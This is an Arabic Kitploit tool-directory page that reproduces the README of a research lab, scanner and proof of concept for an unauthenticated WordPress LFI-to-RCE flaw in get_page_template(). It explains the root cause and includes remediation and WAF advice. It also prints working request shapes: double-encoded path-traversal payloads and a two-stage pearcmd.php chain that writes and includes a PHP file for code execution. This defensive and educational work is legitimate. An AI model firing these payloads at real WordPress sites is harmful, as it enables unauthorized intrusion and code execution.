Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-87902-wordpress-lfi-lab — مختبر إعادة إنتاج + ماسح قائمة عناوين URL + إثبات مفهوم لـ CVE-2026-87902 / GHSA-7hp8-65ch-5whp — ثغرة LFI غير مصادق عليها في WordPress get_page_template() تفضي إلى RCE شرطي (WP 4.7.0-7.1.1، تم إصلاحها في 7.1.2). اختبار مصرّح به/دفاعي. | Kitploit
أدوات/GitHubGitHub/dinosn/cve-2026-87902-wordpress-lfi-lab
ماسحات الثغرات الأمنيةماسحات الثغرات الأمنية للويبتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
مختبرات وتدريب عملي
GitHubdinosn/cve-2026-87902-wordpress-lfi-lab

cve-2026-87902-wordpress-lfi-lab

مختبر إعادة إنتاج + ماسح قائمة عناوين URL + إثبات مفهوم لـ CVE-2026-87902 / GHSA-7hp8-65ch-5whp — ثغرة LFI غير مصادق عليها في WordPress get_page_template() تفضي إلى RCE شرطي (WP 4.7.0-7.1.1، تم إصلاحها في 7.1.2). اختبار مصرّح به/دفاعي.

عرض المستودع
35منذ 18س 59دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-87902 / GHSA-7hp8-65ch-5whp — تضمين ملف محلي (LFI) غير مُصادَق عليه في get_page_template() في ووردبريس ← تنفيذ تعليمات برمجية عن بُعد (RCE) مشروط

مختبر إعادة إنتاج + ماسح ضوئي لقائمة عناوين URL + إثبات مفهوم (PoC)، مبني ومُتحقَّق منه من البداية إلى النهاية مقابل إصدارات حقيقية من ووردبريس 7.1.1 (قابل للاستغلال) و7.1.2 (مُرقَّع) على مختبر Docker.

  • الإشعار الأمني: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • النوع: CWE-98 تحكم غير سليم في اسم الملف لـ include/require (اجتياز المسار ← تضمين PHP محلي)
  • المتأثر: ووردبريس 4.7.0 – 7.1.1 (مُصلَّح في 7.1.2 وفي الإصدارات الخلفية لكل فرع: 7.0.6، 6.9.9، 6.8.10 … وصولاً إلى 4.7.37)
  • المصادقة: لا شيء. CVSS 4.0: 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
  • الشروط المسبقة: (1) أن يحتوي القالب النشط على دليل من المستوى الأعلى باسم page-* (مثل page-templates/ — موجود في Twenty Twelve وTwenty Fourteen وNeve وHestia وSydney)؛ (2) لتنفيذ التعليمات البرمجية عن بُعد فقط: وجود pearcmd.php قابل للقراءة وregister_argc_argv=On.

  • 1. السبب الجذري (مُتحقَّق منه مقابل مصدر 7.1.1 و7.1.2)

    wp-includes/template.php :: get_page_template() يبني مرشح قالب من متغير الاستعلام pagename الذي يتحكم فيه المهاجم دون validate_file():

    root@kitploit:~
    // WordPress 7.1.1 (VULNERABLE)
    if ( $pagename ) {
        $pagename_decoded = urldecode( $pagename );
        if ( $pagename_decoded !== $pagename ) {          // <-- no validate_file()
            $templates[] = "page-{$pagename_decoded}.php";
        }
        $templates[] = "page-{$pagename}.php";
    }
    
    root@kitploit:~
    // WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
    if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
        $templates[] = "page-{$pagename_decoded}.php";
    }
    // plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
    

    ثم يقوم locate_template() بتنفيذ file_exists($theme_dir . '/' . $candidate) وinclude للنتيجة المطابقة. ولأن المرشح هو page-{...}.php، يجب أن يُكمل الحمولة دليل قالب حقيقي يبدأ بـ page- (مثل page-templates/) ثم يصعد للخارج باستخدام ../ إلى أي ملف .php قابل للقراءة.

    الترميز المزدوج إلزامي. فـ get_query_var('pagename') يكون قد فُكَّ ترميزه مرة واحدة بالفعل بواسطة PHP، لذا فإن ../ العادي يجعل urldecode($pagename) === $pagename ويُتخطى الفرع القابل للاستغلال. أما %252e%252e%252f المُرمَّز مزدوجاً فينجو من فك الترميز الأول كـ %2e%2e%2f ولا يتحول إلى ../ إلا بواسطة urldecode() الإضافي — وهذا هو الخلل.


    2. المختبر (lab/)

    إصدارات حقيقية جنباً إلى جنب على مضيف Docker، لا تختلف إلا بالإصلاح الأمني:

    الخدمةعنوان URL (loopback فقط)ووردبريسالدور
    wp-vulnhttp://127.0.0.1:80917.1.1قابل للاستغلال
    wp-patchedhttp://127.0.0.1:80927.1.2ضابط مُرقَّع
    db—MySQL 8.4مشترك (قاعدتا بيانات)

    صورة الأساس wordpress:php8.3-apache (التي تتضمن بالفعل pearcmd.php وregister_argc_argv=On)، مع استبدال النواة المضمّنة بـ wordpress-7.1.1.zip / 7.1.2.zip الأصلية. Twenty Fourteen مُفعَّل (يحتوي على page-templates/ حقيقي)، كما أُنشئ ملف page-templates/ تجريبي في القالب النشط. معرّف الصفحة المنشورة = 2 (Sample Page).

    root@kitploit:~
    # on the docker lab host
    cd /tmp/cve-2026-87902-lab
    ./up.sh        # build + install both instances (idempotent)
    ./down.sh      # tear down + remove volumes
    

    المنافذ مرتبطة بـ 127.0.0.1 فقط — النسخة القابلة للاستغلال لا تُعرَّض للشبكة أبداً.


    3. الماسح الضوئي / إثبات المفهوم (poc/cve-2026-87902-scan.py)

    Python 3، المكتبة القياسية فقط (بدون pip install). يأخذ قائمة عناوين URL ويبلّغ عن أيها قابل للاستغلال. الفحص الافتراضي غير مُدمِّر: يضمّن ملف النواة للقراءة فقط wp-links-opml.php ويبحث عن مستند OPML الناتج — دليل على أن تضمين .php العشوائي قد حدث، دون أي كتابة أو تغيير في الحالة.

    root@kitploit:~
    # single URL
    ./cve-2026-87902-scan.py http://target/
    
    # a list of your assets, JSON report, 20 workers
    ./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
    
    # from stdin, only show vulnerable/possibly rows
    cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
    

    كيف يُصنَّف الهدف

    1. البصمة لووردبريس + الإصدار (meta generator → feed <generator> → wp-links-opml.php → readme.html → أصل /wp-includes/ بـ ?ver=).
    2. اكتشاف معرّف صفحة منشورة صالح (REST /wp/v2/pages، بديل ?rest_route=، الصفحة الرئيسية page-id-N، الافتراضي page_id=2) — مطلوب حتى يُحل الطلب إلى صفحة ويُشغَّل get_page_template().
    3. مسح أوراكل OPML: لكل segment × depth (المقطع الافتراضي templates، الأعماق 4,3,5,6,7)، أرسل page_id=<id>&pagename=<double-encoded ../ → wp-links-opml> (POST، لتجنب إعادة التوجيه الأساسي) واشترط HTTP 200 يحمل <opml version="1.0"> + علامة ثانوية بنيوية (</opml> / <outline / <dateCreated>).
    4. الضابط السلبي (إثبات السببية): عند وجود إصابة، أعد إرسال الطلب المطابق موجهاً إلى ملف .php غير موجود بشكل مضمون. إذا ظهر OPML مجدداً، فإن OPML محيطي (وكيل / ذاكرة تخزين مؤقت / تطبيق خلاصات)، وليس تضميننا → يُخفَّض إلى POSSIBLY. فقط الإصابة التي يكون ضابطها نظيفاً تُصنَّف VULNERABLE.

    المتانة: يحافظ على مسارات الأدلة الفرعية (http://host/blog)، ويتعامل مع gzip/deflate والترميزات الغريبة، ويعيد محاولة الفحص مرة واحدة عند خطأ النقل، ويكتشف/يتحقق من معرّفات الصفحات (REST → ?rest_route= → الصفحة الرئيسية → الافتراضيات)، ويفرض ميزانية زمنية لكل هدف، ولا يؤكد أبداً NOT_VULNERABLE من مصدر إصدار منخفض الثقة (أصل ?ver= / readme.html) — تلك تتدهور إلى POSSIBLY.

    الحكمالمعنى
    VULNERABLEأوراكل OPML انطلق — تأكد LFI (نهائي)
    NOT_VULNERABLEإصدار الفرع المُرقَّع، أو إصدار خارج 4.7.0–7.1.1
    POSSIBLY_VULNERABLEإصدار قابل للاستغلال/غير معروف لكن الأوراكل صامت (غالباً لا يوجد دليل قالب page-*، أو تخطيط غير قياسي، أو لا يوجد معرّف صفحة قابل للاكتشاف) — تحقق يدوياً
    NOT_WORDPRESS / ERRORلا مؤشرات WP / فشل النقل

    رمز الخروج: 2 إذا وُجد أي VULNERABLE، و1 إذا وُجد أي POSSIBLY (ولا VULNERABLE)، وإلا 0.

    أعلام مفيدة: --segments، --depths، --method {POST,GET,both}، --page-id، --max-pageids، --max-time (ميزانية لكل هدف)، --timeout، --threads، --proxy، --header، --insecure (إيقاف TLS — للتطوير فقط)، --json، --jsonl. لتركيب ووردبريس في دليل فرعي، مرّر الأساس الكامل (مثل https://host/blog)؛ لـ Bedrock/النواة في wp/، يحاول المسح أيضاً أهداف أوراكل مسبوقة بـ wp/.

    تصعيد RCE (اختياري، للاستخدام في المختبر)

    root@kitploit:~
    ./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
    

    يشغّل سلسلة PEAR pearcmd.php: سلسلة الاستعلام المقسمة بـ + تحمل argv الخاص بـ config-create الذي يكتب علامة .php خالية من علامات الاقتباس تحت /tmp؛ وطلب ثانٍ يضمّنها. يطبع العلامة المنفذة + php_uname() + uid. يكتب ملفاً على الهدف → هدف واحد، يتطلب --i-have-authorization، معطّل افتراضياً.


    4. الأدلة (evidence/)

    الملفما يثبته
    manual-validate.sh / ev-lfi.logأوراكل OPML ينطلق على 7.1.1 (العمق 4، POST و GET)، صامت على 7.1.2؛ فقط العمق 4 يعمل؛ الترميز الأحادي يفشل
    rce-validate.sh / ev-rce.logRCE كامل عبر PEAR على 7.1.1 (uid=33 كـ www-data، العمق 7)؛ المُرقَّع لا يكتب ملفاً ولا ينفذ شيئاً
    ev-scan-table.log / ev-scan-results.jsonالماسح على {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR

    أشكال الطلبات المُثبتة:

    root@kitploit:~
    LFI (detection, non-destructive):
      POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
      -> 200 with <opml version="1.0"> in the body   (depth 4 = webroot on /var/www/html)
    
    RCE (conditional; register_argc_argv=On + readable pearcmd.php):
      Stage 1  POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
               body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
      Stage 2  POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
               -> body contains the executed marker + php_uname() + uid=33
    

    5. المعالجة

    • حدّث ووردبريس إلى 7.1.2 (أو الإصدار المُصلَّح لفرعك: 7.0.6، 6.9.9، 6.8.10، … 4.7.37).
    • دفاع متعدد الطبقات: اضبط register_argc_argv=Off في PHP لواجهة الويب وأزل/امنع pearcmd.php؛ هذا يزيل تصعيد RCE حتى لو كان LFI قابلاً للوصول.
    • الكشف/WAF: بعد فك ترميز URL بالكامل لـ مفاتيح وقيم المعاملات (والمعاملات المكررة)، احظر أي pagename يحتوي على ..؛ فالتزامن بين page_id وpagename يبدأ بـ templates%252f / يحتوي على %252e%252e على جذر الموقع أو /index.php هو إشارة استغلال شبه مؤكدة.

    لاختبارات الأمان المصرح بها، والتعليم، والبحث الدفاعي فقط.

    تنزيل الأداة